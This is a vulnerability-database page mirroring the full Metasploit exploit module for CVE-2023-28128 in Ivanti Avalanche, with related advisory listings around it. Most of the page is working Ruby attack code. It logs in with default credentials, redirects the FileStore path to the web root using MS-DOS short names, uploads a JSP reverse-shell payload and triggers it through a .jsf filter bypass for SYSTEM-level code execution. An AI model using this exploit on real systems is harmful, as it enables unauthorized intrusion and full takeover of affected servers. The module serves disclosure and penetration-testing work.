Lucene search
K

Ivanti Avalanche FileStoreConfig Shell Upload

🗓️ 16 May 2023 00:00:00Reported by Shelby Pace, Piotr Bazydlo, metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 401 Views

Ivanti Avalanche v6.4.0.186 allows MS-DOS style short names in configuration path for Central FileStore, enabling RCE as NT AUTHORITY\SYSTEM

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Ivanti Avalanche FileStoreConfig Shell Upload Exploit
19 May 202300:00
zdt
Circl
CVE-2023-28128
10 May 202302:13
circl
CNNVD
Ivanti Avalanche 代码问题漏洞
9 May 202300:00
cnnvd
CVE
CVE-2023-28128
9 May 202300:00
cve
Cvelist
CVE-2023-28128
9 May 202300:00
cvelist
Metasploit
Ivanti Avalanche FileStoreConfig File Upload
16 May 202319:53
metasploit
NVD
CVE-2023-28128
9 May 202322:15
nvd
Prion
Unrestricted file upload
9 May 202322:15
prion
Positive Technologies
PT-2023-21585 · Avalanche · Avalanche
24 Apr 202300:00
ptsecurity
Rapid7 Blog
Metasploit Weekly Wrap-Up
19 May 202318:44
rapid7blog
Rows per page
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::FileDropper  
prepend Msf::Exploit::Remote::AutoCheck  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Ivanti Avalanche FileStoreConfig File Upload',  
'Description' => %q{  
Ivanti Avalanche prior to v6.4.0.186 permits MS-DOS style short  
names in the configuration path for the Central FileStore. Because of  
this, an administrator can change the default path to the web root  
of the applications, upload a JSP file, and achieve RCE as NT AUTHORITY\SYSTEM.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'Piotr Bazydlo', # @chudypb - Vulnerability Discovery  
'Shelby Pace' # Metasploit module  
],  
'References' => [  
['URL', 'https://www.zerodayinitiative.com/advisories/ZDI-23-456/'],  
['URL', 'https://forums.ivanti.com/s/article/ZDI-CAN-17812-Ivanti-Avalanche-FileStoreConfig-Arbitrary-File-Upload-Remote-Code-Execution-Vulnerability?language=en_US'],  
['URL', 'https://attackerkb.com/topics/jcdcN9SN9V/cve-2023-28128'],  
['CVE', '2023-28128']  
],  
'Platform' => ['win', 'java'],  
'Privileged' => true,  
'Arch' => ARCH_JAVA,  
'Targets' => [  
[ 'Automatic Target', { 'DefaultOptions' => { 'Payload' => 'java/jsp_shell_reverse_tcp' } }]  
],  
'DisclosureDate' => '2023-04-24',  
'DefaultTarget' => 0,  
'Notes' => {  
'Stability' => [ CRASH_SAFE ],  
'Reliability' => [ REPEATABLE_SESSION ],  
'SideEffects' => [ IOC_IN_LOGS, ARTIFACTS_ON_DISK ]  
}  
)  
)  
  
register_options(  
[  
Opt::RPORT(8080),  
OptString.new('USERNAME', [ true, 'User name to log in with', 'amcadmin' ]),  
OptString.new('PASSWORD', [ true, 'Password to log in with', 'admin' ]),  
OptString.new('TARGETURI', [ true, 'The URI of the Example Application', '/AvalancheWeb' ])  
]  
)  
end  
  
def check  
# Cleanup should not be needed after doing just a check.  
@cleanup_needed = false  
  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'login.jsf'),  
'method' => 'GET'  
)  
  
return CheckCode::Unknown('Failed to receive a response from the application') unless res  
  
unless res.body.include?('Avalanche - User Login')  
return CheckCode::Safe('Application does not appear to be Ivanti Avalanche')  
end  
  
html = res.get_html_document  
elem = html.search('link')&.find { |link| link&.at('@href')&.text&.match(/\d+\.\d+\.\d+\.\d{1,4}/) }  
return CheckCode::Detected('Couldn\'t retrieve element containing Avalanche version') unless elem  
  
version = elem&.at('@href')&.value&.match(/(\d+\.\d+\.\d+\.\d{1,4})/)  
return CheckCode::Detected('Failed to retrieve software version') unless version && version.length >= 2  
  
version = version[1]  
vprint_status("Version of Ivanti Avalanche appears to be v#{version}")  
ver_no = Rex::Version.new(version)  
patched_version = Rex::Version.new('6.4.0.186')  
  
if ver_no >= patched_version  
CheckCode::Safe('Target has been patched!')  
elsif ver_no < patched_version  
CheckCode::Appears('Target appears to be running an unpatched version of Ivanti Avalanche!')  
else  
CheckCode::Unknown("This should never be hit! Some error occurred when grabbing the target version: #{ver_no}")  
end  
end  
  
def authenticate  
if datastore['USERNAME'].blank? && datastore['PASSWORD'].blank?  
fail_with(Failure::BadConfig, 'Please set the USERNAME and PASSWORD options')  
end  
  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'login.jsf'),  
'method' => 'GET',  
'keep_cookies' => true  
)  
  
fail_with(Failure::UnexpectedReply, 'Failed to access login page') unless res&.body&.include?('Avalanche - User Login')  
  
html = res.get_html_document  
view_state = get_view_state(html)  
fail_with(Failure::UnexpectedReply, 'Failed to retrieve view state after browsing to the login page.') unless view_state  
  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'login.jsf'),  
'method' => 'POST',  
'keep_cookies' => true,  
'vars_post' => {  
'loginForm' => 'loginForm',  
'j_idt8' => '',  
'loginField' => datastore['USERNAME'],  
'passwordField' => datastore['PASSWORD'],  
'TextCaptchaAnswer' => '',  
'javax.faces.ViewState' => view_state,  
'loginTableButton' => 'loginTableButton'  
}  
)  
  
unless res&.code == 302 && res&.headers&.dig('Location')&.include?('inventory.jsf')  
fail_with(Failure::UnexpectedReply, 'Login failed')  
end  
end  
  
def get_view_state(html)  
view_state = html.xpath("//input[@name='javax.faces.ViewState']")&.first&.at('@value')&.text  
  
view_state  
end  
  
def configure_filestore  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'app', 'FileStoreConfig.jsf'),  
'method' => 'GET',  
'keep_cookies' => true  
)  
  
unless res&.get_html_document&.xpath('//form[@id="form_filestore_tree"]')&.first  
fail_with(Failure::UnexpectedReply, 'Failed to access FileStore configuration')  
end  
  
html = res.get_html_document  
view_state = get_view_state(html)  
fail_with(Failure::UnexpectedReply, 'Failed to retrieve view state from FileStoreConfig page') unless view_state  
  
@original_config_path = html.xpath("//input[@id='txtUncPath']")&.first&.at('@value')&.text  
fail_with(Failure::UnexpectedReply, 'Unable to grab FileStore path') unless @original_config_path  
print_status("Original FileStore config path: '#{@original_config_path}'")  
  
# determine drive letter  
drive_letter = @original_config_path.match(/([a-zA-Z])(:|\$)/)  
fail_with(Failure::UnexpectedReply, 'Couldn\'t determine drive letter for path') unless drive_letter&.length&.>= 3  
drive_letter = drive_letter[1]  
  
new_config_path = "#{drive_letter}:\\PROGRA~1\\Wavelink\\AVALAN~1\\Web"  
print_status("Changing FileStore config path to '#{new_config_path}'")  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'app', 'FileStoreConfig.jsf'),  
'method' => 'POST',  
'keep_cookies' => true,  
'vars_post' => {  
'linkFileStoreConfigSave' => 'linkFileStoreConfigSave',  
'formFileStoreConfig' => 'formFileStoreConfig',  
'txtUncPath' => new_config_path,  
'txtVelocityFolder' => '',  
'javax.faces.ViewState' => view_state  
}  
)  
  
input_field_html = res&.get_html_document&.xpath('//input[@id="txtUncPath"]')&.first  
if input_field_html.blank?  
fail_with(Failure::UnexpectedReply, 'Did not receive a response containing the expected txtUncPath input field!')  
elsif input_field_html[:value] != new_config_path  
fail_with(Failure::UnexpectedReply, 'Failed to change FileStore config path')  
end  
end  
  
def get_directory_val(res, dir_name)  
html = res.get_html_document  
results = html.xpath('//tr[contains(@class, "DIRECTORY")]')  
fail_with(Failure::UnexpectedReply, 'Failed to find list of expected directories') unless results  
  
expand_dir = results.find { |result| result.at('td')&.text&.strip == dir_name }  
fail_with(Failure::UnexpectedReply, "Failed to find the '#{dir_name}' directory to write to") unless expand_dir  
data_rk = expand_dir.at('@data-rk')&.value  
fail_with(Failure::UnexpectedReply, "Failed to get value to expand #{dir_name} directory") unless data_rk  
  
data_rk  
end  
  
def expand_folder(data_rk, view_state)  
send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'app', 'FileStoreConfig.jsf'),  
'method' => 'POST',  
'keep_cookies' => true,  
'vars_post' => {  
'javax.faces.source' => 'fileStoreTree_dlgFileStoreTree',  
'javax.faces.partial.execute' => 'fileStoreTree_dlgFileStoreTree',  
'fileStoreTree_dlgFileStoreTree' => 'fileStoreTree_dlgFileStoreTree',  
'fileStoreTree_dlgFileStoreTree_expand' => data_rk,  
'javax.faces.ViewState' => view_state  
}  
)  
end  
  
def select_folder(data_rk, view_state)  
@cleanup_needed = true  
send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'app', 'FileStoreConfig.jsf'),  
'method' => 'POST',  
'keep_cookies' => true,  
'vars_post' =>  
{  
'javax.faces.source' => 'fileStoreTree_dlgFileStoreTree',  
'javax.faces.partial.execute' => 'fileStoreTree_dlgFileStoreTree',  
'javax.faces.behavior.event' => 'select',  
'javax.faces.partial.event' => 'select',  
'fileStoreTree_dlgFileStoreTree_instantSelection' => data_rk,  
'form_filestore_tree' => 'form_filestore_tree',  
'fileStoreTree_dlgFileStoreTree_selection' => data_rk,  
'javax.faces.ViewState' => view_state  
}  
)  
end  
  
def upload_payload  
payload_name = "#{Rex::Text.rand_text_alpha(5..12)}.jsp"  
# need to 'select' webapps/AvalancheWeb to upload a file  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'app', 'FileStoreConfig.jsf'),  
'method' => 'GET',  
'keep_cookies' => true  
)  
  
fail_with(Failure::UnexpectedReply, 'Failed to access updated FileStore page') unless res&.get_html_document&.xpath('//form[@id="form_filestore_tree"]')&.first  
web_data_rk = get_directory_val(res, 'webapps')  
view_state = get_view_state(res.get_html_document)  
fail_with(Failure::UnexpectedReply, 'Failed to retrieve view state after accessing the updated FileStore page') unless view_state  
  
res = expand_folder(web_data_rk, view_state)  
fail_with(Failure::UnexpectedReply, 'Did not receive response from \'webapps\' expansion') unless res  
avalanche_data_rk = get_directory_val(res, 'AvalancheWeb')  
view_state = get_view_state(res.get_html_document)  
fail_with(Failure::UnexpectedReply, 'Failed to retrieve view state after getting the directory value for AvalancheWeb') unless view_state  
res = select_folder(avalanche_data_rk, view_state)  
fail_with(Failure::UnexpectedReply, 'Did not receive response from \'AvalancheWeb\' selection') unless res  
  
view_state = get_view_state(res.get_html_document)  
fail_with(Failure::UnexpectedReply, 'Failed to retrieve view state after selecting the AvalancheWeb folder') unless view_state  
  
boundary = "#{'-' * 4}WebKitFormBoundary#{Rex::Text.rand_text_alphanumeric(16)}"  
  
post_data = "--#{boundary}\r\n"  
post_data << "Content-Disposition: form-data; name=\"upload-form\"\r\n\r\n"  
post_data << "upload-form\r\n"  
post_data << "--#{boundary}\r\n"  
post_data << "Content-Disposition: form-data; name=\"javax.faces.ViewState\"\r\n\r\n"  
post_data << "#{view_state}\r\n"  
post_data << "--#{boundary}\r\n"  
post_data << "Content-Disposition: form-data; name=\"javax.faces.partial.ajax\r\n\r\n"  
post_data << "true\r\n"  
post_data << "--#{boundary}\r\n"  
post_data << "Content-Disposition: form-data; name=\"javax.faces.partial.execute\"\r\n\r\n"  
post_data << "importFileStoreItemPanel_dlgFileStoreTree\r\n"  
post_data << "--#{boundary}\r\n"  
post_data << "Content-Disposition: form-data; name=\"javax.faces.source\"\r\n\r\n"  
post_data << "importFileStoreItemPanel_dlgFileStoreTree\r\n"  
post_data << "--#{boundary}\r\n"  
post_data << "Content-Disposition: form-data; name=\"javax.faces.partial.render\"\r\n\r\n"  
post_data << "fileStoreTree_dlgFileStoreTree managementBtns addFolderDialog_dlgFileStoreTree renameItemDialog_dlgFileStoreTree confirmDeleteItemDialog_dlgFileStoreTree importMessages\r\n"  
post_data << "--#{boundary}\r\n"  
post_data << "Content-Disposition: form-data; name=\"importFileStoreItemPanel_dlgFileStoreTree\"; filename=\"#{payload_name}\"\r\n"  
post_data << "Content-Type: application/octet-stream\r\n\r\n"  
post_data << "#{payload.encoded}\r\n"  
post_data << "--#{boundary}--\r\n"  
  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'app', 'FileStoreConfig.jsf'),  
'method' => 'POST',  
'keep_cookies' => true,  
'data' => post_data,  
'headers' => {  
'Accept' => 'application/xml, text/xml, */*; q=0.01',  
'Faces-Request' => 'partial/ajax',  
'X-RequestedWith' => 'XMLHttpRequest',  
'Content-Type' => "multipart/form-data; boundary=#{boundary}",  
'Accept-Encoding' => 'gzip, deflate'  
}  
)  
  
fail_with(Failure::UnexpectedReply, 'Failed to upload payload') unless res&.body&.include?("Imported file #{payload_name}")  
  
print_good("Successfully uploaded '#{payload_name}'")  
payload_name  
end  
  
def cleanup  
if @cleanup_needed == false  
return  
end  
  
restore_msg = 'Please manually restore FileStore config via Tools -> Central FileStore -> Configurations.'  
print_status('Attempting to restore config path')  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'app', 'FileStoreConfig.jsf'),  
'method' => 'GET',  
'keep_cookies' => true  
)  
  
unless res  
print_error("Could not access FileStore config. #{restore_msg}")  
return  
end  
  
html = res.get_html_document  
view_state = get_view_state(html)  
unless view_state  
print_error("Failed to get view state. #{restore_msg}")  
return  
end  
  
send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'app', 'FileStoreConfig.jsf'),  
'method' => 'POST',  
'keep_cookies' => true,  
'vars_post' => {  
'linkFileStoreConfigSave' => 'linkFileStoreConfigSave',  
'formFileStoreConfig' => 'formFileStoreConfig',  
'txtUncPath' => @original_config_path,  
'txtVelocityFolder' => '',  
'javax.faces.ViewState' => view_state  
}  
)  
  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'app', 'FileStoreConfig.jsf'),  
'method' => 'GET',  
'keep_cookies' => true  
)  
  
unless res&.body&.include?(@original_config_path)  
print_warning("Failed to restore the FileStore config path to its original path. #{restore_msg}")  
return  
end  
  
print_good('Successfully restored the FileStore config path')  
end  
  
def exploit  
# Starting off we shouldn't need cleanup, however if we get to the point were we start  
# to change config settings then we will need to clean that up.  
@cleanup_needed = false  
  
authenticate  
configure_filestore  
payload_name = upload_payload  
  
register_file_for_cleanup("webapps/#{payload_name}")  
send_request_cgi(  
'uri' => normalize_uri(target_uri.path, payload_name.gsub('jsp', 'jsf')), # bypasses the app's filter, but is still resolved by java faces servlet  
'method' => 'GET',  
'keep_cookies' => true  
)  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

16 May 2023 00:00Current
7.1High risk
Vulners AI Score7.1
EPSS0.87967
401